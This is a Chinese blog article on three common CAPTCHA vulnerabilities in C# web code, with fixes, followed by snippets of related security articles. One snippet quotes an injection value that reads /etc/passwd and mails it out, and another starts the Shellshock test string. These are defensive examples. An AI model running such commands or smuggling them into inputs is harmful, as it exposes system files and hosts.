验证码的三个常见漏洞和修复方法


把验证码存储在Cookie中

一般来说,我们会把验证码的值用Session存储起来,通过对比用户提交的验证码和Session中的验证码,就可以知道输入是否正确。由于Session会占用服务器资源,我曾经想过是否可以把验证码的值加密后存储在Cookie中。不过事实证明,这只是异想天开罢了。

假设验证码的值是a,通过sha1加密后得到的值为b = sha1(a),并且把b存储在Cookie中。而用户提交的验证码值为c,通过判断sha1(c)是否与b相等,可以知道输入的验证码是否正确。然而,Cookie是受客户端控制的。如果用户事先通过肉眼看到验证码的值是a,又从Cookie中得知此时的加密值为b,那么,他只要在提交前把Cookie的值修改为b,提交的验证码值为a,就可以永远通过验证。


没有进行非空判断

这种情况可以直接用代码来说明:

代码如下:

if (Request[“captcha”] == Session[“captcha”] as string)

{

// 验证通过,继续操作

}

假设用户绕过了系统提供的表单直接提交数据,此时验证码还没生成,Session[“captcha”]为空。用户不提交验证码时,Request[“captcha”]也为空。于是,验证通过了。

要解决这个问题,其实只要加个非空判断就可以了:

代码如下:

if (!String.IsNullOrEmpty(Request[“captcha”]) &&

Request[“captcha”] == Session[“captcha”] as string)

{

// 验证通过,继续操作

}


没有及时销毁验证码

使用验证码要遵循一个原则,在一次比对之后,无论用户输入正确与否,都要立刻将验证码销毁。

如果不这样做,就可以出现以下情况:

假设用户输入错误,且验证码没有重新生成,那么他就可以一直尝试,直到正确为止。虽然机器对图片的一次性识别率比较低,但是,如果同一张图片你给它无限次机会的话,它还是可以识别出来的。

假设用户输入成功,且验证码没有销毁,那么在Session过期之前,他就可以一直用这个验证码通过验证。

除声明外,跑步客文章均为原创,转载请以链接形式标明本文地址
  验证码的三个常见漏洞和修复方法

本文地址:  http://www.paobuke.com/develop/c-develop/pbk23125.html

相关内容

C#遍历得到checkboxlist选中值和设置选中项的代码

深入解析C#设计模式编程中对建造者模式的运用

C#使用Region对图形区域构造和填充的方法

C#操作windows注册表的方法


C#常用目录文件操作类实例

C#实现读写ini文件类实例

C#线程入门教程之单线程介绍

DevExpress之SplashScreen用法实例

时间: 2025-01-01 21:50:07

验证码的三个常见漏洞和修复方法的相关文章

Windows Server中的IIS漏洞以及修复方法

Windows Server中的IIS漏洞以及修复方法 我可以有把握地说,对于Windows服务器管理员来说普遍的目标是拥有适当弹性的系统.世界上有很多网络安全威胁,你最不希望发生的是在世界的另一头,或者在你的组织内部有人利用了IIS或者Windows的漏洞,而这一切都是本来可以避免的. 你可能无法触及应用层面的漏洞,但是在服务器层面你有很多事情可以做到使基于IIS的系统更加安全.通过回顾我多年的网站安全评估项目,可以指出以下最影响Windows服务器的IIS漏洞. 未处理异常(HTTP 500

Python常见安全漏洞及修复方法集合!你所不会的这里都有!

命令注入有可能在使用 popen.subprocess.os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值. 下面是个简单的脚本(链接:https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html),使用用户提供的文件名调用子进程: 攻击者会将filename的值设置为"; cat /etc/passwd | mail [email protected]或者其他

Web常见漏洞及修复建议

1.SQL注入 漏洞描述 Web程序中对于用户提交的参数未做过滤直接拼接到SQL语句中执行,导致参数中的特殊字符破坏了SQL语句原有逻辑,攻击者可以利用该漏洞执行任意SQL语句,如查询数据.下载数据.写入webshell.执行系统命令以及绕过登录限制等. 修复建议 代码层最佳防御sql漏洞方案:使用预编译sql语句查询和绑定变量. (1)使用预编译语句,使用PDO需要注意不要将变量直接拼接到PDO语句中.所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入

Python中的10个常见安全漏洞及修复方法

编写安全的代码很困难,当你学习一门编程语言.一个模块或框架时,你会学习其使用方法.在考虑安全性时,你需要考虑如何避免代码被滥用,Python也不例外,即使在标准库中,也存在着许多糟糕的实例.然而,许多 Python 开发人员却根本不知道这些. 以下是我总结的10个Python常见安全漏洞,排名不分先后. 1.输入注入 注入***影响广泛且很常见,注入有很多种类,它们影响所有的语言.框架和环境. SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串与变量混合.我读过很多代码,其中"

IE常见bug及其修复方法

    一.双边距浮动的bug 1.1一段无错的代码把一个居左浮动(float:left)的元素放置进一个容器盒(box) 2.1在浮动元素上使用了左边界(margin-left)来令它和容器的左边产生一段距离 在ie6或更低版本中产生双倍外边距 修复方法 在浮动元素上添加display:inline属性即可     二.3像素文本偏移bug 2.1 一段文本与浮动元素相邻的时候,会出现图文环绕,为了不让其文本环绕左边floatBox浮动盒子,我们设置段落外左边距margin-left为floa

关于Bash漏洞及修复方法

近期Bash漏洞让不少类Unix躺枪... 下面是相关的检测方法和修复方法(内容来源阿里云开发者论坛) ----------------------------------------------------------------------------------------------------- Bash紧急漏洞预警,请所有正在使用Linux服务器的用户注意.该漏洞直接影响基于 Unix 的系统(如 Linux.OS X 等),可导致远程攻击者在受影响的系统上执行任意代码. [已确认被

Linux常见故障及修复方法

一:MBR扇区故障修复 [[email protected]~]#mkdir  /backup [[email protected]~]#mount  /dev/sdb1  /backup /    ##新建个硬盘分区,并挂载到新建文件夹内 [[email protected]~]#dd if=/dev/sda of=/backup/sda.mbr.bak bs=512 count=1  ##备份MBR扇区512字节 [[email protected]~]#dd if=/dev/zero of

IOS中UIWebView的UXSS漏洞及修复方法

做IOS开发的同学经常用到UIWebView,大多时候是加载外部地址,但是有一些时候也会用来加载本地的html文件. UIWebView加载外部地址的时候遵循了"同源"策略,而加载本地网页的时候却绕够了"同源"策略,导致可以访问系统任意路径. 这就是UIWebView中存在的UXSS漏洞.已知尚未修复该漏洞的App有:微盘.文件全能王.QQ阅读. 漏洞复现方式大体相似,现在微盘为例: 在PC上编辑一个网页,命名为test.html. 内容如下: <script

Linux 曝出重大bash安全漏洞及修复方法

日前Linux官方内置Bash中新发现一个非常严重安全漏洞(漏洞参考https://access.redhat.com/security/cve/CVE-2014-6271  ),黑客可以利用该Bash漏洞完全控制目标系统并发起攻击. 已确认被成功利用的软件及系统:所有安装GNU bash 版本小于或者等于4.3的Linux操作系统. 该漏洞源于你调用的bash shell之前创建的特殊的环境变量,这些变量可以包含代码,同时会被bash执行. 漏洞检测方法: env x='() { :;}; e